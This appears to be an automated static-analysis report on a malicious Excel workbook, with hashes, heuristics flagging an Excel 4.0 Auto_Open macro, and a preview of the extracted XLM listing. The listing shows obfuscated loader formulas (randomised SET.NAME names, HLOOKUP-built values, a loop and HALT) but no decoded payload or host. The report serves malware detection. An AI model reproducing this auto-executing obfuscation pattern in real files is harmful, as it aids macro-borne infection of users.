Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3deaeaba9abed21d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:14 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 4bcdc137ee18c1e1f25a123f07628a93 SHA-1: 3bfe18f7281c0dcf649e61cd02ce2533fad6494c SHA-256: 3deaeaba9abed21d0a6975df8089fcf6dedbffc72b5a7482eb00e7c9a9db1807
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6580 bytes
SHA-256: fa4b11e8f3d77d76ac71120ec765ea8536c45fa49eef6b409246fbe620f39d59
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Ijc
' 0018     20 LABEL : Cell Value, String Constant - aewOr len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H154 
' 0018     21 LABEL : Cell Value, String Constant - AVHnWh len=0 
' 0018     25 LABEL : Cell Value, String Constant - BbeEcbaNMb len=0 
' 0018     25 LABEL : Cell Value, String Constant - EZCUKkQpqW len=0 
' 0018     27 LABEL : Cell Value, String Constant - fIMlMDFEzCNf len=0 
' 0018     24 LABEL : Cell Value, String Constant - huxsVxPKh len=0 
' 0018     20 LABEL : Cell Value, String Constant - JGUZw len=0 
' 0018     20 LABEL : Cell Value, String Constant - jzaqy len=0 
' 0018     21 LABEL : Cell Value, String Constant - kFdxBt len=0 
' 0018     25 LABEL : Cell Value, String Constant - lBkQbKhZxA len=0 
' 0018     25 LABEL : Cell Value, String Constant - lPsxtLOtMf len=0 
' 0018     25 LABEL : Cell Value, String Constant - mmRnpFCOzE len=0 
' 0018     26 LABEL : Cell Value, String Constant - OzwjwPGMhtv len=0 
' 0018     20 LABEL : Cell Value, String Constant - RzWtj len=0 
' 0018     20 LABEL : Cell Value, String Constant - UbTzL len=0 
' 0018     25 LABEL : Cell Value, String Constant - ugBsGxfMSj len=0 
' 0018     25 LABEL : Cell Value, String Constant - uIEpYkBMOk len=0 
' 0018     23 LABEL : Cell Value, String Constant - UmQkThZq len=0 
' 0018     22 LABEL : Cell Value, String Constant - ybFhKqG len=0 
' 0018     20 LABEL : Cell Value, String Constant - zPgPB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Ijc,H74,"SET.NAME("lPsxtLOtMf",0+VALUE("0"))",""
'  Ijc,H77,"SET.NAME("jzaqy",lPsxtLOtMf)",""
'  Ijc,H79,"SET.NAME("ybFhKqG",lPsxtLOtMf)",""
'  Ijc,P79,"",729.00000000000000000000
'  Ijc,P80,"",-3.00000000000000000000
'  Ijc,H81,"SET.NAME("RzWtj",COUNTA(EZCUKkQpqW))",""
'  Ijc,P81,"",602.00000000000000000000
'  Ijc,P82,"",-531.00000000000000000000
'  Ijc,P83,"",-888.00000000000000000000
'  Ijc,P84,"",481.00000000000000000000
'  Ijc,H86,"SET.NAME("kFdxBt",COUNTA(huxsVxPKh))",""
'  Ijc,H90,[],""
'  Ijc,H95,"SET.NAME("aewOr","")",""
'  Ijc,H97,"jzaqy",""
'  Ijc,H99,"SET.NAME("BbeEcbaNMb",HLOOKUP("*",EZCUKkQpqW,jzaqy,FALSE))",""
'  Ijc,H101,"fIMlMDFEzCNf",""
'  Ijc,H103,"SET.NAME("uIEpYkBMOk",lPsxtLOtMf)",""
'  Ijc,H105,[],""
'  Ijc,H109,"uIEpYkBMOk",""
'  Ijc,H114,"lBkQbKhZxA",""
'  Ijc,H116,"AVHnWh",""
'  Ijc,H121,"ugBsGxfMSj",""
'  Ijc,H123,"SET.NAME("mmRnpFCOzE",VALUE(HLOOKUP("*",huxsVxPKh,ugBsGxfMSj,FALSE)))",""
'  Ijc,H127,"UbTzL",""
'  Ijc,H129,"aewOr",""
'  Ijc,H134,"ybFhKqG",""
'  Ijc,H137,NEXT(),""
'  Ijc,H139,"OzwjwPGMhtv",""
'  Ijc,H142,[],""
'  Ijc,H144,"UmQkThZq",""
'  Ijc,H148,NEXT(),""
'  Ijc,H150,RETURN(),""
'  Ijc,H182,"SET.NAME("JGUZw",H74)",""
'  Ijc,H186,"EZCUKkQpqW",""
'  Ijc,H188,"SET.NAME("huxsVxPKh",R61C15)",""
'  Ijc,H193,"SET.NAME("UmQkThZq",200)",""
'  Ijc,H197,"SET.NAME("zPgPB",8)",""
'  Ijc,H199,JGUZw(),""
'  Ijc,H200,HALT(),""

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